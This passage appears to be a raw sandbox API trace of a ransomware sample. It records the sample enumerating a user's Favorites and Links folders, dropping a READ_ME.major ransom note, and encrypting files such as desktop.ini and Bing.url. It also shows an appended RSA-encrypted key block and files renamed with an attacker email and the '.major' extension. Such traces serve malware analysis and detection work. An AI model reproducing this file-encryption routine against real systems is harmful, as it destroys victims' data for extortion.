hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0147.676] GetLastError () returned 0x0 [0147.676] SetLastError (dwErrCode=0x0) [0147.676] GetLastError () returned 0x0 [0147.676] SetLastError (dwErrCode=0x0) [0147.676] GetLastError () returned 0x0 [0147.676] SetLastError (dwErrCode=0x0) [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0147.676] FindNextFileW (in: hFindFile=0x60ebe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0147.676] GetLastError () returned 0x0 [0147.676] SetLastError (dwErrCode=0x0) [0147.676] GetLastError () returned 0x0 [0147.676] SetLastError (dwErrCode=0x0) [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0147.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0147.677] GetLastError () returned 0x0 [0147.677] SetLastError (dwErrCode=0x0) [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0147.677] FindNextFileW (in: hFindFile=0x60ebe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Links", cAlternateFileName="")) returned 1 [0147.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0147.677] GetLastError () returned 0x0 [0147.677] SetLastError (dwErrCode=0x0) [0147.677] GetLastError () returned 0x0 [0147.677] SetLastError (dwErrCode=0x0) [0147.677] GetLastError () returned 0x0 [0147.677] SetLastError (dwErrCode=0x0) [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0147.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0147.677] GetLastError () returned 0x0 [0147.677] SetLastError (dwErrCode=0x0) [0147.677] GetLastError () returned 0x0 [0147.678] SetLastError (dwErrCode=0x0) [0147.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0147.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0147.678] GetLastError () returned 0x0 [0147.678] SetLastError (dwErrCode=0x0) [0147.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0147.678] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0147.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0147.678] WriteFile (in: hFile=0x5f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0147.679] CloseHandle (hObject=0x5f0) returned 1 [0147.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0147.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0147.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0147.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0147.680] FindNextFileW (in: hFindFile=0x60ebe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0147.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0147.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0147.680] GetLastError () returned 0x0 [0147.680] SetLastError (dwErrCode=0x0) [0147.680] GetLastError () returned 0x0 [0147.680] SetLastError (dwErrCode=0x0) [0147.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0147.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0147.680] GetLastError () returned 0x0 [0147.680] SetLastError (dwErrCode=0x0) [0147.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.680] FindNextFileW (in: hFindFile=0x60ebe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0147.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0147.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.680] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.680] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini", dwFileAttributes=0x80) returned 1 [0147.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0147.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0147.681] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0147.681] GetFileSizeEx (in: hFile=0x5f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=402) returned 1 [0147.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x192) returned 0x57eca8 [0147.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x192) returned 0x5c1ce8 [0147.681] ReadFile (in: hFile=0x5f0, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x192, lpOverlapped=0x0) returned 1 [0147.681] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=-402, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.697] WriteFile (in: hFile=0x5f0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x192, lpOverlapped=0x0) returned 1 [0147.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0147.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.697] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x192 [0147.697] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.697] WriteFile (in: hFile=0x5f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.698] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3pdPCUuJO6wh0/JJ/0CXxIp+0xVh024Qwb794goeEKsv2fKwJ32WjBcgp2Sn2ISh\nwWBhvUWDmIqpmf5A/xYNMIUCKdkm8J+FEmXTKicqhG0SpodZn09wVJKjp7ZC7Sm1\nuYnYu05HxhP6ippC7R33OyWaSv/Vq40LnKPGQaYrzUtBqagV0NT226TkYnRDELLE\nLpkoLSxMavI5HDfJtSgJLqQGHjD4ochI+RYUkqoqIaw0/+s70y8qZf7cY+//UYIQ\nmKUZAxV7cy426Jau/VQTlKrm/ZPQJzwMIPjvfPaR/hpLSY9aG7fzpxMxVRX5a2Y/\nn8HTELYP6UZJKOGTc96cHw==\n", pcchString=0x2e3f9a8) returned 1 [0147.698] WriteFile (in: hFile=0x5f0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.698] WriteFile (in: hFile=0x5f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.699] CloseHandle (hObject=0x5f0) returned 1 [0147.699] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.699] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0147.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0147.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0147.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.702] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Favorites\\Bing.url", dwFileAttributes=0x80) returned 1 [0147.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0147.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.703] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0147.704] GetFileSizeEx (in: hFile=0x5f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=208) returned 1 [0147.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0147.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b07d0 [0147.704] ReadFile (in: hFile=0x5f0, lpBuffer=0x5b0620, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b0620*, lpNumberOfBytesRead=0x2e3f9b4*=0xd0, lpOverlapped=0x0) returned 1 [0147.705] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=-208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.705] WriteFile (in: hFile=0x5f0, lpBuffer=0x5b07d0*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b07d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd0, lpOverlapped=0x0) returned 1 [0147.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0147.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b07d0 | out: hHeap=0x570000) returned 1 [0147.705] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd0 [0147.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.705] WriteFile (in: hFile=0x5f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.706] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.706] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.706] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NpghfcoFwK0+oxWjNYME0CT2Symu9QFVVrcbkr3ZFy5D5j+lBA5LU9e/osCS1tYX\nZGyZ2sh+Ts8RcfvZ48EEMLDjEvvsT3dTtyVO7I/N2HD9wRQpGzjWZ0K5CHjCmwdN\n3qKSiSOQEmRfevCWEQsVM9YKWyUGAJacFvWrZ8N+fnid9/Q1Uq35xKlx7Nm4QoQJ\n25NaHqdBE7o2U0jB+IaHGEN+XUqYlI6HQeGTCRhR4sxo6pESpUppFA5TVI16Z2O4\n1jWectQn1o/Xm20X0Yi+5Blz7J+HV7pzKvzvpHRraXHY69+CDmbQGcj664Mnxh+V\ndTBhiksxhruenHffOCqoMg==\n", pcchString=0x2e3f9a8) returned 1 [0147.706] WriteFile (in: hFile=0x5f0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.706] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.706] WriteFile (in: hFile=0x5f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.706] CloseHandle (hObject=0x5f0) returned 1 [0147.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.706] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), lpNewFileName="\\Users\\FD1HVy\\Favorites\\Bing.url.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0147.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0147.708] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Links\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eaa8 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0147.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0147.708] GetLastError () returned 0x0 [0147.708] SetLastError (dwErrCode=0x0) [0147.708] GetLastError () returned 0x0 [0147.708] SetLastError (dwErrCode=0x0) [0147.708] GetLastError () returned 0x0 [0147.708] SetLastError (dwErrCode=0x0) [0147.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0147.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0147.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eb28 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eb28 | out: hHeap=0x570000) returned 1 [0147.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0147.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0147.709] FindNextFileW (in: hFindFile=0x60eaa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0147.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0147.709] GetLastError () returned 0x0 [0147.709] SetLastError (dwErrCode=0x0) [0147.709] GetLastError () returned 0x0 [0147.709] SetLastError (dwErrCode=0x0) [0147.709] GetLastError () returned 0x0 [0147.709] SetLastError (dwErrCode=0x0) [0147.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0147.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0147.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eb28 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eb28 | out: hHeap=0x570000) returned 1 [0147.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0147.709] FindNextFileW (in: hFindFile=0x60eaa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcee4480b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0147.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0147.709] GetLastError () returned 0x0 [0147.709] SetLastError (dwErrCode=0x0) [0147.709] GetLastError () returned 0x0 [0147.709] SetLastError (dwErrCode=0x0) [0147.709] GetLastError () returned 0x0 [0147.710] SetLastError (dwErrCode=0x0) [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0147.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0147.710] FindNextFileW (in: hFindFile=0x60eaa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4428f2bb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4428f2bb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce90d59d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0147.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0147.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0147.710] GetLastError () returned 0x0 [0147.710] SetLastError (dwErrCode=0x0) [0147.710] GetLastError () returned 0x0 